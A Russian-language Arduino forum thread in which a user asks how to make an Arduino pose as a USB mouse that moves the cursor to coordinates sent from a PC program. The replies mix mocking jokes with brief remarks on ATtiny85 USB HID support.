написать на компе программу-резидент, которая будет принимать координаты мыши из Компорта и двигать мышь

кстати мне тоже интересно но немного другое. а как на uno поставить потенциометр и что бы он потом работал например как будто это руль?

в играх например как руль определялся.

это уже без HID не обойтись?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Надо наоборот что бы программа отправила координаты ардуинке и ардуинка передвинула курсор мыши

Готов перевести на русский то, что несет наш ТС.

У него есть некоторая программа, которая генерирует последовательность координат для мышки. Из этой программы он передает эту последовательность во внешний мир! ;))) Там Ардуино должен принять эту последовательность и притворившись «мышкой» отправить обратно, чтобы компьютер поверил и передвигал курсор мышки в соответствии с координатами.

Только спрашивайте меня: «Зачем тут Ардуино?» — это к ТС! ;))

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Мошт программа должна двигать мышь? Тогда ещё пары двигателей недостает в наборе.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Надо наоборот что бы программа отправила координаты ардуинке и ардуинка передвинула курсор мыши

Готов перевести на русский то, что несет наш ТС.

У него есть некоторая программа, которая генерирует последовательность координат для мышки. Из этой программы он передает эту последовательность во внешний мир! ;))) Там Ардуино должен принять эту последовательность и притворившись «мышкой» отправить обратно, чтобы компьютер поверил и передвигал курсор мышки в соответствии с координатами.

Только спрашивайте меня: «Зачем тут Ардуино?» — это к ТС! ;))

Потому что передвижение в одной программе не работает обычными MouseMove или SetCursorPos или SendMessage. Вот и приходиться эмулировать мышь.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

Ну, насколько я понимаю, для USB 1.1 обычного системного кварца на 16 МГц вполне достаточно.

вот и специалисты подтянулись, сейчас и HID устройство напишут.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Пара двигателей — полумера. Нужно делать на ардуине подвижную платформу (колёсную или гусеничную) и ставить на неё бильярдный кий на актуаторе. Ну, а на мышь что-нибудь для прицеливания — хоть светодиод. Будет вокруг мыши ездить и гонять её киём куда надо.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Готов перевести на русский то, что несет наш ТС.

У него есть некоторая программа, которая генерирует последовательность координат для мышки. Из этой программы он передает эту последовательность во внешний мир! ;))) Там Ардуино должен принять эту последовательность и притворившись «мышкой» отправить обратно, чтобы компьютер поверил и передвигал курсор мышки в соответствии с координатами.

Только спрашивайте меня: «Зачем тут Ардуино?» — это к ТС! ;))

и готов спорить, что «требуется» это, чтобы пройти какой-то суперсложный уровень в какой-нить игрушке. вместе с невозможностью купить леонардо (мама запретила) ТС определяется мной как школьник средних (очень средних) классов :)))

Источник

Adblock
detector